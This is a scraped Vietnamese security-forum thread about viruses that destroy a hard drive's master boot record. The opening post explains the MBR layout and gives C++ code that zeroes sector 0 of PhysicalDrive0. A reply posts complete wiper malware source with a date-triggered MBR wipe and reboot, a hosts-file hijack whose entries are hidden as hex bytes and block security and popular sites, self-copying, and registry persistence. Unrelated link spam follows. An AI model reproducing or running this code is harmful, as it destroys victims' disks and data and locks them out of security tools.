C, C++ Cho Virus - Phá Hủy MBR Của ổ Cứng, Làm Mất Tất Cả Các ...
- Tin Tức Tin tức An ninh mạng Bản tin WhiteHat
- Thành viên
- Có gì mới
- Video
- Wargame
- Vinh Danh
Tìm kiếm
Toàn bộ Chủ đề Diễn đàn này This thread Chỉ tìm trong tiêu đề Tìm Tìm nâng cao…- Hoạt động gần đây
- Đăng ký
CỘNG ĐỒNG AN NINH MẠNG VIỆT NAM
@ 2009 - 2021 Bkav Corporation
Install the app Install- Thảo luận
- Virus/Malware
- Bắt đầu scila1996
- Ngày bắt đầu 12/11/2015
scila1996
W-------
29/06/2013 4 21 bài viết C, C++ cho Virus - Phá hủy MBR của ổ cứng, làm mất tất cả các phân vùng trong ổ cứng Loại virus này chắc cũng có nhiều bạn gặp phải, sau khi download một chương trình lạ nào đó và dùng một thời gian, hay ngay khi tắt máy và sáng hôm sau mở lên thì hiện lên một màn hình đen xì, khi cắm ổ cứng vào máy khác để đọc thì ổ cứng trắng trơn. - Cơ chế hoạt động : Hacker chiếm quyền truy xuất vào thiết bị ổ cứng, sau đó dùng một số phương thức ẩn hoặc ghi đè nội dung của Sector đầu của ổ cứng . Sector đầu là Sector chứa bảng phân chương (thông tin về các phân vùng trên ổ cứng) của hệ điều hành , kích thước = 512 Byte + 444 Byte đầu là chương trình nhận biết + 64 Byte tiếp theo là thông tin của các phân vùng + 2 Byte cuối là chữ ký hệ thống - 55 AA Hệ điều hành dựa vào bảng này để tải các phân vùng, nếu phân vùng là Primary và được Active thì hệ điều hành sẽ trỏ tới file BootLoader để nạp hệ điều hành có trên ổ này, đồng thời cũng tải tất cả các phân vùng Primary và Logical khác, như ổ dữ liệu . => SECTOR đầu rất quan trọng Mình xin DEMO một đoạn code nho nhỏ (PAY LOAD), viết bằng C++ sử dụng các hàm API có sẵn, tất nhiên là khi Hacker viết code thì sẽ hạn chế sử dụng các hàm API này: 1. Mở Handle Device của ổ cứng, đường dẫn (địa chỉ) của HDD Mã: .PhysicalDrive0 Tiến hành Open sử dụng hàm CreateFile .. Mã: HANDLE hDevice = CreateFileA(".PhysicalDrive0", GENERIC_ALL, NULL, NULL, OPEN_EXISTING, NULL, NULL); 2. Tạo dữ liệu trắng , có thể hiểu là SECTOR trắng và ghi đè lên SECTOR có sẵn hiện tại Mã: BYTE *bData = new BYTE[512]; // InitInstance Block Data DWORD bRead; int i = 0; while (i < 512) bData[i++] = 0x00; // Create Empty Sector WriteFile(hDevice, (LPVOID)bData, 512, (LPDWORD)&bRead, NULL); // Write Empty Sector to MBR delete[] bData; Chỉnh sửa lần cuối bởi người điều hành: 17/11/2023 Bài viết hay và hữu ích, scila1996. Comment Bài này nếu có thể thay bằng phần ghi đè MBR của con peta hay wanna thì sẽ khá hay Comment Bạn xem con này có hiệu quả hơn không nhé! #include <Windows.h> #include <winver.h> #include "resource.rc" DWORD WINAPI CheckTime(){ DWORD write; SYSTEMTIME st; char data[512]; ZeroMemory(&data,sizeof(data)); GetLocalTime(&st); if(st.wYear==2019){ HANDLE disk=CreateFile("\\\\.\\PhysicalDrive0",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); WriteFile(disk,data,512,&write,NULL); CloseHandle(disk); //MessageBox(0,"Time to die now!","You have been hacked!",MB_ICONWARNING); ExitWindowsEx(EWX_REBOOT,0); } return 0; } DWORD WINAPI hosts(){ char data[]={0x77,0x77,0x77,0x2E,0x79,0x6F,0x75,0x74,0x75,0x62,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x67,0x6F,0x6F,0x67,0x6C,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x79,0x61,0x68,0x6F,0x6F,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x66,0x61,0x63,0x65,0x62,0x6F,0x6F,0x6B,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x65,0x75,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x65,0x6E,0x2E,0x77,0x69,0x6B,0x69,0x70,0x65,0x64,0x69,0x61,0x2E,0x6F,0x72,0x67,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31}; char path[60]; DWORD write; GetEnvironmentVariable("windir",path,sizeof(path)); strcat(path,"\\system32\\drivers\\etc\\hosts"); HANDLE hFile=CreateFile(path,GENERIC_ALL,0,NULL,CREATE_ALWAYS,0,NULL); WriteFile(hFile,data,sizeof(data),&write,NULL); CloseHandle(hFile); return 0; } DWORD WINAPI reg(){ char value[]="system.exe"; HKEY hKey; while(1){ RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey); RegSetValueEx(hKey,"system",0,REG_SZ,(LPBYTE)value,60); RegCloseKey(hKey); Sleep(10000); } return 0; } int WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR cmd,int show){ char file[MAX_PATH]; char path[60]; HANDLE hToken; LUID luid; LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid); TOKEN_PRIVILEGES tp; tp.Privileges[0].Luid=luid; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; tp.PrivilegeCount=1; OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken); AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL); GetModuleFileName(NULL,file,sizeof(file)); GetEnvironmentVariable("windir",path,60); strcat(path,"\\system.exe"); CopyFile(file,path,false); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)reg,NULL,0,NULL); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)hosts,NULL,0,NULL); while(1){ CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)CheckTime,NULL,0,NULL); Sleep(10000); } return 0; } Comment MBR có thể viết lại không bác? CommentTestthuthoi đã viết: MBR có thể viết lại không bác? Nhấn để mở rộng...Nạp lại bt nha! Comment Bạn phải đăng nhập hoặc đăng ký để phản hồi tại đây. Bài viết liên quan
- Ngày bắt đầu 16/05/2020
- 1
- Ngày bắt đầu 01/03/2016
- 0
- Ngày bắt đầu 08/11/2015
- 9
- Ngày bắt đầu 12/10/2015
- 14
- Ngày bắt đầu 04/10/2015
- 15
- Ngày bắt đầu 02/10/2015
- 16
Từ khóa » Dword Lừa đảo
-
ve Cái Này Có Lừa đảo Ko Mọi Người | TraderViet
-
#1 Crowd1 Là Gì? Có Lừa đảo Không? - .vn
-
5 Cách Phòng Tránh Bị Lừa đảo Trên Internet, MXH Và điện Thoại
-
Microsoft Cảnh Báo Nguy Cơ Windows Bị Lây Nhiễm Mã độc Qua Tập ...
-
Windows Cần được Cập Nhật Ngay Chống Lỗi Nghiêm Trọng
-
Lỗ Hổng Zero-day đe Dọa Hàng Triệu Người Dùng Windows Bị Chia Sẻ ...
-
Admin đã Có Thể Cài đặt để Windows Server Tự động Cập Nhật .NET
-
Vô Hiệu Hóa Tất Cả Các Thông Báo Phiền Nhiễu Trên Windows - Genk
-
Thông Tin Lỗ Hổng SMB Vô Tình Bị Lộ Khi Chưa Có Bản Vá
-
Mẹo Vặt: 7 Bước Giúp Máy Tính Chạy Mượt Hơn - .vn
-
Hướng Dẫn Khắc Phục Lỗi 0x0000007c Khi In Qua Mạng Trên ...
-
Cách Bật Hoặc Tắt SmartScreen Filter Cho Microsoft Store Trong ...
-
Một Số Giải Pháp Ngăn Chặn RANSOMWARE WANNACRY
-
Bật Hoặc Tắt SmartScreen Cho Các ứng Dụng Microsoft Store - 101 Help